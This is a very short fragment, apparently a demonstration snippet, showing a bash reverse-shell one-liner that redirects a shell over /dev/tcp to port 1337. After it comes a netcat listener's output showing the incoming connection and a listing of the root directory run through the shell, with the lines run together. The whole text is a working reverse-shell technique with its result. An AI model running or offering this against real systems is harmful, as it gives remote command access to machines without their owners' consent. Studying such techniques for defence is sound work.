exec 3<> /dev/tcp/localhost/1337 <&3 >&3; bash
$ nc -v -l -p 1337listening on [any] 1337 ...connect to [127.0.0.1] from localhost [127.0.0.1] 42606ls /binbootdevetchomeliblib32lib64lost+foundmediamntoptprocrootsbinsystmpusrvar